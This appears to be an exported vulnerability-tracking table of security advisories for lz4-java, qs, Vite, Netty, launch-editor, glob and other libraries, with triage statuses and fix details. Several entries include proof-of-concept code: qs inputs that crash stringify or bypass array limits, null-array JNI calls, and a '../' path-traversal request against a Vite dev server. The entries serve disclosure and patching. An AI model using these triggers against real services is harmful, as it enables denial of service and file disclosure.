Resolved | 2026-07-24 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary Insufficient validation of byte array arguments in JNI-based XXHash implementations in lz4-java 1.11.0 and earlier allows callers to crash the JVM by passing an invalid array reference or invalid range to native XXHash methods. This affects applications where an attacker can influence the byte array object or the `off` / `len` arguments passed to affected XXHash APIs. It does **not** affect the common case where only the contents of a valid byte array are attacker-controlled. Java-based XXHash implementations are *not* affected. ### Details The JNI-backed XXHash implementations pass caller-provided byte array arguments to native code. The affected APIs are: - `XXHashFactory.nativeInstance().hash32().hash(byte[] buf, int off, int len, int seed)` - `XXHashFactory.nativeInstance().hash64().hash(byte[] buf, int off, int len, long seed)` - `XXHashFactory.nativeInstance().newStreamingHash32(seed).update(byte[] bytes, int off, int len)` - `XXHashFactory.nativeInstance().newStreamingHash64(seed).update(byte[] bytes, int off, int len)` Before the fix, the streaming JNI implementations did not validate `bytes`, `off`, or `len` before calling `XXHashJNI.XXH32_update` / `XXHashJNI.XXH64_update`. The non-streaming JNI implementations called `SafeUtils.checkRange`, but `SafeUtils.checkRange(byte[], int, int)` skipped all array access when `len == 0`, so a null byte array with a zero length could still reach JNI. As a result: - `hash(null, 0, 0, seed)` and `update(null, 0, 0)` could pass a null array reference to JNI, causing a fatal JVM crash in `GetPrimitiveArrayCritical`. - `update(new byte[16], 0, Integer.MAX_VALUE)` could cause native XXHash code to read far beyond the end of the Java array, causing a fatal JVM crash and potentially exposing in-process memory to the native routine before the crash. The oversized-length non-streaming `hash(new byte[16], 0, Integer.MAX_VALUE, seed)` case was already rejected in Java before this fix. The missing validation affected the streaming oversized-length case and the zero-length null-array case for both streaming and non-streaming JNI XXHash APIs. The impact of this vulnerability depends on how user code uses the XXHash API. Code that hashes attacker-controlled byte contents in a valid, correctly bounded array is not affected. Code may be affected if an attacker can cause the application to pass a null array, an attacker-controlled offset, or an attacker-controlled length to the native XXHash API. The primary impact is denial of service due to JVM termination. For oversized lengths, native code may also read outside the Java array before the process crashes. ### Mitigation lz4-java 1.11.1 fixes this issue without requiring changes in user code. If you cannot upgrade, avoid passing attacker-controlled array references, offsets, or lengths to JNI-backed XXHash APIs. In particular, validate that arrays are non-null and that `off` and `len` describe a range fully contained in the array before calling native XXHash methods. Using `XXHashFactory.safeInstance()` avoids the JNI boundary and is not affected by this native crash behavior. | |
| 6.3CVSS 4.0 | CVE-2025-11965
GHSA-h5fg-jpgr-rv9c |
Resolved | 2025-10-22 | 5.4 ×11 | In Eclipse Vert.x versions [4.0.0, 4.5.21] and [5.0.0, 5.0.4], a StaticHandler configuration for restricting access to hidden files fails to restrict access to hidden directories, allowing unauthorized users to retrieve files within them (e.g. '.git/config'). | |
| 6.3CVSS 4.0 | CVE-2025-15284
GHSA-6rw7-vpxm-498p |
False positive | 2025-12-29 | 5.6 ×95.5 ×205.4 ×14 | Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1. Summary The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations. Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=valueconsumes one parameter slot. The severity has been reduced accordingly. Details The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays. PoC const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000. Impact Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value. | |
| 6.3CVSS 4.0 | CVE-2025-66030
GHSA-65ch-62r8-g69g |
Resolved | 2025-11-26 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. An Integer Overflow vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions. This issue has been patched in version 1.3.2. | |
| 6.3CVSS 4.0 | CVE-2026-110816 | In triage | 2026-10-14 | 5.6 ×95.5 ×205.4 ×14 | ### Summary `qs.stringify` with `arrayFormat: 'comma'` throws `TypeError: Cannot convert object to primitive value` when an array element cannot be coerced to a string, such as an object with an own non-callable `toString` (`{ "toString": "x" }`) or a null-prototype object. The comma format joins array elements with `Array.prototype.join` and, under `encodeValuesOnly`, first passes each element through `String()` in `utils.encode`; neither guards against an element whose string coercion fails. ### Details In `lib/stringify.js`, the comma branch collapses the array with `obj.join(',')`. For an element whose own `toString` is not callable, `ToPrimitive` skips it, falls through to `Object.prototype.valueOf` (which returns the object itself), and throws. Under `encodeValuesOnly: true`, the same element first reaches `String(str)` in `utils.encode` (`lib/utils.js`) and throws there. Nested arrays (`{ "a": [[{ "toString": "x" }]] }`) throw the same way, through `Array.prototype.toString`. The `indices`, `brackets`, and `repeat` formats walk into object elements instead of coercing them, and are not affected. Such elements can come from untrusted input. `JSON.parse` produces `{ "a": [{ "toString": "x" }] }` with no qs option involved. `qs.parse("a[0][toString]=x", { allowPrototypes: true })` keeps the `toString` key, and `qs.parse("a[][b]=c", { plainObjects: true })` produces a null-prototype element; the default parse options drop `toString` and produce ordinary objects, which do not throw. Express 4's default `query parser`, Express 5's `extended` query parser, and body-parser's `urlencoded({ extended: true })` all call `qs.parse` with `allowPrototypes: true`. #### PoC ```js var qs = require("qs"); qs.stringify(JSON.parse("{\"a\":[{\"toString\":\"x\"}]}"), { arrayFormat: "comma" }); qs.stringify(qs.parse("a[0][toString]=x", { allowPrototypes: true }), { arrayFormat: "comma" }); qs.stringify(qs.parse("a[][b]=c", { plainObjects: true }), { arrayFormat: "comma", encodeValuesOnly: true }); // TypeError: Cannot convert object to primitive value ``` #### Fix Applied in a952e75 on `main` and released as v6.16.1: an element whose string coercion would fail is coerced to its primitive `valueOf`, if any, or else to `Object.prototype.toString`, so it renders as `[object Object]`, the same as any other object element already does under the comma format. Nested arrays are walked the way `join` walks them. Every input that did not previously throw serializes exactly as before, and a `toString` or `valueOf` that itself throws still propagates. ### Affected versions `>=6.7.0 <6.16.1`, fixed in v6.16.1. The `join` path was introduced with the comma format in b84acba and first shipped in v6.7.0; v6.6.x and earlier ignore `arrayFormat: 'comma'` and are not affected. The `encodeValuesOnly` `String()` site was introduced in 4c4b23d (v6.11.1); before that, the same input throws at `join`. Every release from v6.7.0 through v6.16.0 is affected. ### Impact An unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` and `arrayFormat: 'comma'` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a bare `http` request handler, the process exits, so the impact in that case depends on the application error handling rather than on qs. The default `arrayFormat` (`indices`) is not affected. | |
| 6.3CVSS 4.0 | CVE-2026-112943
GHSA-698v-4r3x-3vcv |
In triage | 2026-10-20 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.2, launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed. This vulnerability is fixed in 2.14.2. | |
| 6.3CVSS 4.0 | CVE-2026-112944
GHSA-r825-w8mm-5pxw |
In triage | 2026-10-20 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.2, when an attacker can create a filesystem entry beginning with plus or minus in the working directory, an affected editor is selected, and the path can remain relative or is converted to a relative WSL path, launchEditor forwards the path without forcing it to be interpreted as a positional filename. Editor option parsing then treats the attacker-controlled filename as a command-line flag, which can cause unintended file overwrite or arbitrary command execution by the selected editor. The affected editors are Vim and gVim, MacVim, Emacs and Emacsclient, and Notepad++ when a plugin exposes dangerous operations; WSL path conversion keeps Vite and newer middleware callers exposed. This issue is fixed in version 2.14.2. | |
| 6.3CVSS 4.0 | CVE-2026-112946 | In triage | 2026-10-20 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, import analysis can record a root-relative browser URL in safeModulePaths instead of the cleaned resolved module identifier. On a network-accessible, non-Windows development server, an imported project file whose URL matches an absolute host path can authorize a later raw-filesystem request for that host file, provided server.fs.deny does not block it. The request can disclose the matching file outside the project root, but it does not allow arbitrary path traversal because the host path must correspond to a project-relative URL authorized by the application graph. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3. | |
| 6.3CVSS 4.0 | CVE-2026-2391
GHSA-w7fw-mjwx-w883 |
False positive | 2026-02-12 | 5.6 ×95.5 ×205.4 ×14 | ### Summary The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284). ### Details When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation. **Vulnerable code** (lib/parse.js: lines ~40-50): ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { return val.split(','); } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p). ### PoC **Test 1 - Basic bypass:** ``` npm install qs ``` ```js const qs = require('qs'); const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5) const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true }; try { const result = qs.parse(payload, options); console.log(result.a.length); // Outputs: 26 (bypass successful) } catch (e) { console.log('Limit enforced:', e.message); // Not thrown } ``` **Configuration:** - `comma: true` - `arrayLimit: 5` - `throwOnLimitExceeded: true` Expected: Throws "Array limit exceeded" error. Actual: Parses successfully, creating an array of length 26. ### Impact Denial of Service (DoS) via memory exhaustion. | |
| 6.3CVSS 4.0 | CVE-2026-39365
GHSA-4w7w-66w2-5vf9 |
False positive | 2026-04-07 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Vite is a frontend tooling framework for JavaScript. From 6.0.0 to before 6.4.2, 7.3.2, and 8.0.5, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON. This vulnerability is fixed in 6.4.2, 7.3.2, and 8.0.5. | |
| 6.3CVSS 4.0 | CVE-2026-54490
GHSA-mp7j-qc5w-4988 |
Resolved | 2026-07-17 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | websocket-driver is a WebSocket protocol handler with pluggable I/O. Prior to 0.7.5, if this library is used with the permessage-deflate extension, a WebSocket server or client can be made to accept messages that are larger than the configured maximum message size because the limit is checked against the message frames' length headers, which give the size of the compressed data, not the size after decompression in lib/websocket/driver/hybi.js. This can lead to applications accepting larger messages than expected and exceeding their intended resource usage. This issue is fixed in version 0.7.5. | |
| 6.3CVSS 4.0 | CVE-2026-5588
GHSA-wg6q-6289-32hp |
Resolved | 2026-04-15 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules), Legion of the Bouncy Castle Inc. BCPKIX-FIPS bcpkix on All (pkix modules), Legion of the Bouncy Castle Inc. BCPIX-LTS bcpkix on All (pkix modules). This vulnerability is associated with program files JcaContentVerifierProviderBuilder.Java, JcaContentVerfierProviderBuilder.Java. This issue affects BC-JAVA: from 1.67 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84; BCPKIX-FIPS: from 2.0.6 before 2.0.11, from 2.1.7 before 2.1.11; BCPIX-LTS: from 2.73.7 before 2.73.11. | |
| 6.3CVSS 4.0 | CVE-2026-59898
GHSA-4mp9-239f-g9hg |
Resolved | 2026-07-29 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, ab attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending `Sec-WebSocket-Version: 7` and omitting `Connection: Upgrade` / `Upgrade: websocket` headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final. | |
| 6.3CVSS 4.0 | CVE-2026-69153
GHSA-fxqj-rqcc-2cmp |
Not affected | 2026-08-03 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19. | |
| 6.3CVSS 4.0 | CVE-2026-82417
GHSA-4mjr-xmp4-gh2g |
Resolved | 2026-08-30 | 5.6 ×95.5 ×205.4 ×14 | ### Summary `qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: "x" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`. ### Details `lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call. Such an object can be built from untrusted input. `qs.parse("x[constructor][isBuffer]=y", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse("{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly. #### PoC ```js var qs = require("qs"); qs.stringify(qs.parse("x[constructor][isBuffer]=y", { plainObjects: true })); qs.stringify(JSON.parse("{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}")); // TypeError: obj.constructor.isBuffer is not a function // at Object.isBuffer (lib/utils.js:332:78) // at stringify (lib/stringify.js:127:45) ``` #### Fix `lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0: ```diff - return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj)); + return !!(obj.constructor && typeof obj.constructor.isBuffer === "function" && obj.constructor.isBuffer(obj)); ``` Real `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed. ### Affected versions `>=2.2.5 <6.16.0`, fixed in v6.16.0. The unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call. ### Impact An unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs. | |
| 6.3CVSS 4.0 | CVE-2026-8723
GHSA-q8mj-m7cp-5q26 |
False positive | 2026-05-17 | 5.6 ×95.5 ×205.4 ×14 | ### Summary `qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`). ### Details In the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining: ```js obj = utils.maybeMap(obj, encoder); ``` `utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run. Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1. #### PoC ```js const qs = require('qs'); qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true }); // TypeError: Cannot read properties of null (reading 'length') // at encode (lib/utils.js:195:13) // at Object.maybeMap (lib/utils.js:322:37) // at stringify (lib/stringify.js:145:25) ``` #### Fix `lib/stringify.js:145`, applied in 21f80b3 on `main` and released as v6.15.2: ```diff - obj = utils.maybeMap(obj, encoder); + obj = utils.maybeMap(obj, function (v) { + return v == null ? v : encoder(v); + }); ``` `null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop. ### Affected versions `>=6.11.1 <6.15.2` — fixed in v6.15.2. The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions. ### Impact Application code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled. The vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`). | |
| 6.3CVSS 4.0 | GHSA-3g3m-2fjr-6pw4 | In triage | 2026-10-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary In glob 13.0.6, an aborted async walk rejects or emits an error but continues recursively reading directories in the background. The root cause is that abort branches in src/walker.ts call cb() without returning. As a result, callers that rely on signal or AbortSignal.timeout() to bound glob traversal cost can still incur filesystem I/O and CPU work after the request has already been rejected. ### Details This was reproduced on glob v13.0.6 (commit e80cb38ae60d6cbff9e75f39032a994858994d35). The README documents that the signal option cancels the glob walk. However, in src/walker.ts, the following methods call cb() when this.signal?.aborted is true but do not return: - GlobUtil.walkCB() - GlobUtil.walkCB2() - GlobUtil.walkCBSync() - GlobUtil.walkCB2Sync() Example vulnerable pattern: if (this.signal?.aborted) cb() Because execution continues after cb(), the walker still reaches processor.processPatterns(), readdirCB(), and recursive walkCB2() calls. The issue was directly demonstrated against v13.0.6. A source-history review shows the same missing-return pattern is present in tagged releases from v9.0.0 through v13.0.6. The issue affects both glob() and globStream(). Recommended fix: Change each abort branch to return immediately: if (this.signal?.aborted) return cb() ### Proof of concept Environment: - Linux x86_64 - Node.js v22.23.3 - npm 10.9.9 - glob 13.0.6 Reproduction steps: 1. Install the affected package: npm init -y npm install glob@13.0.6 2. Run the attached PoC: node poc/abort-continues-work.mjs The PoC aborts after the first readdir() call, waits briefly, and counts how many more directory reads happen after the promise has already rejected. Observed output on the vulnerable version: { "rejection": "Error: probe-abort", "readdirCalls": 1365, "readdirCallsAtReject": 5, "readdirCallsAfterReject": 1360 } Expected behavior: readdirCallsAfterReject should be 0. A second PoC using AbortSignal.timeout() also reproduces the issue: { "rejection": "TimeoutError: The operation was aborted due to timeout", "readdirCalls": 133, "readdirCallsAtReject": 1, "readdirCallsAfterReject": 132 } The same test against a patched build with return cb() in the four abort branches stops immediately: { "readdirCalls": 1, "readdirCallsAtReject": 1, "readdirCallsAfterReject": 0 } ### Impact This is an availability issue. Applications that expose globbing over attacker-influenced patterns or attacker-controlled directory trees and use AbortSignal / AbortSignal.timeout() as a traversal budget can still perform significant filesystem I/O and CPU work after a request has already timed out or been canceled. Repeated timed-out requests can stack background glob walks and degrade worker throughput or service availability. No confidentiality or integrity impact was observed. | |
| 6.3CVSS 4.0 | GHSA-4mjr-xmp4-gh2g
CVE-2026-82417 |
Resolved | 2026-09-02 | 5.6 ×95.5 ×205.4 ×14 | ### Summary `qs.stringify()` calls `utils.isBuffer()` on every value it serializes, and `utils.isBuffer()` invokes `obj.constructor.isBuffer(obj)` without checking that it is callable. A value whose own `constructor.isBuffer` is a non-function makes `qs` call a non-callable and throw `TypeError`. Such a value is produced **by `qs.parse` itself** from an untrusted query string when `plainObjects: true` or `allowPrototypes: true` is set, so a pure-`qs` `parse` → `stringify` round-trip — no `JSON.parse` — turns an unauthenticated query string into an uncaught throw. An attacker-controlled `parse` input reaches the host application's availability asset — via `qs`'s own recommended `plainObjects` mitigation — and triggers an uncaught exception during a `parse` → `stringify` round-trip. ### Details `utils.isBuffer` runs at `lib/stringify.js:127` for every serialized value: ```js if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... } ``` `utils.isBuffer` (`lib/utils.js:327-333`) invokes `obj.constructor.isBuffer` without verifying it is callable: ```js var isBuffer = function isBuffer(obj) { if (!obj || typeof obj !== 'object') { return false; } return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj)); }; ``` `constructor` and `isBuffer` are ordinary keys. `qs.parse` with `plainObjects: true` or `allowPrototypes: true` keeps them as own properties, so the parsed value carries a non-function `constructor.isBuffer`; `stringify` then calls a non-callable and throws `TypeError`. By contrast `utils.isRegExp` uses a brand check (`Object.prototype.toString`); the missing guard here is an internal inconsistency, not a platform limitation. ### Trust Boundary Note `qs.stringify` alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by **`qs.parse`, whose input is untrusted by design**. `qs.parse` normally strips a `constructor` key via its prototype guard, but with the documented options `plainObjects: true` or `allowPrototypes: true` the key survives and lands as an own property. Feeding the parsed object back into `qs.stringify` — the standard round-trip in gateways and request-forwarders — then hits the unchecked call. ### PoC `poc02c_isBuffer_qs_only_roundtrip.js` — pure-`qs` chain, no `JSON.parse`; an untrusted query string alone reaches the throw: ```js 'use strict'; var qs = require('qs'); var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y var parsed = qs.parse(untrustedQueryString, { plainObjects: true }); console.log('[parse] kept constructor key:', JSON.stringify(parsed)); try { qs.stringify(parsed); console.log('[stringify] no throw (unexpected)'); } catch (e) { console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message); } ``` `poc02_isBuffer.js` — the minimal defect: ```js 'use strict'; var qs = require('qs'); try { qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}')); } catch (e) { console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message); } ``` `poc02b_isBuffer_async_crash.js` — worker death in an async sink: ```js 'use strict'; var qs = require('qs'); function handleRequestAsync(clientJsonBody) { try { setImmediate(function () { // async continuation, outside the try qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught }); console.log('[handler] returned 200 synchronously; async work scheduled'); } catch (e) { console.log('[handler] caught synchronously (will NOT happen):', e.message); } } process.on('exit', function (code) { console.log('[proc] process exiting with code:', code); }); handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}'); ``` ### Execution Steps ```bash cd poc npm install qs@6.15.3 node poc02c_isBuffer_qs_only_roundtrip.js # pure qs parse->stringify -> TypeError node poc02_isBuffer.js # minimal defect -> TypeError inside stringify node poc02b_isBuffer_async_crash.js # async sink -> uncaught throw -> exit code 1 ``` ### Reproduction Evidence `poc02c_isBuffer_qs_only_roundtrip.js` : ``` [parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}} [stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function ``` `poc02_isBuffer.js`: ``` [A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function ``` `poc02b_isBuffer_async_crash.js` : ``` [handler] returned 200 synchronously; async work scheduled [proc] process exiting with code: 1 TypeError: obj.constructor.isBuffer is not a function at Object.isBuffer (.../qs/lib/utils.js:332:78) at stringify (.../qs/lib/stringify.js:127:45) === EXIT CODE: 1 === ``` The pure-`qs` round-trip shows the malicious shape originates from `qs.parse` of an untrusted query string, with no `JSON.parse`. The synchronous `try/catch` in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker. ### Impact An unauthenticated request degrades any endpoint that re-serializes deserialized client data with `qs.stringify`. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on `qs`. ### Recommended Fix Replace the duck-type with a brand check mirroring `utils.isRegExp`: ```js var isBuffer = function isBuffer(obj) { if (!obj || typeof obj !== 'object') { return false; } if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') { return Buffer.isBuffer(obj); } return Object.prototype.toString.call(obj) === '[object Uint8Array]'; }; ``` If duck-typing must remain, require `typeof obj.constructor.isBuffer === 'function'` before invoking and wrap the call in `try/catch`. | |
| 6.3CVSS 4.0 | GHSA-4mp9-239f-g9hg
CVE-2026-59898 |
Resolved | 2026-07-22 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ## Summary An attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending `Sec-WebSocket-Version: 7` and omitting `Connection: Upgrade` / `Upgrade: websocket` headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks. | |
| 6.3CVSS 4.0 | GHSA-4w7w-66w2-5vf9
CVE-2026-39365 |
False positive | 2026-04-06 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary Any files ending with `.map` even out side the project can be returned to the browser. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - have a sensitive content in files ending with `.map` and the path is predictable ### Details In Vite v7.3.1, the dev server’s handling of `.map` requests for optimized dependencies resolves file paths and calls `readFile` without restricting `../` segments in the URL. As a result, it is possible to bypass the [`server.fs.strict`](https://vite.dev/config/server-options#server-fs-strict) allow list and retrieve `.map` files located outside the project root, provided they can be parsed as valid source map JSON. ### PoC 1. Create a minimal PoC sourcemap outside the project root ```bash cat > /tmp/poc.map <<'EOF' {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""} EOF ``` 2. Start the Vite dev server (example) ```bash pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080 ``` 3. Confirm that direct `/@fs` access is blocked by `strict` (returns 403) <img width="4004" height="1038" alt="image" src="https://github.com/user-attachments/assets/15a859a8-1dc6-4105-8d58-80527c0dd9ab" /> 4. Inject `../` segments under the optimized deps `.map` URL prefix to reach `/tmp/poc.map` <img width="2790" height="846" alt="image" src="https://github.com/user-attachments/assets/5d02957d-2e6a-4c45-9819-3f024e0e81f2" /> | |
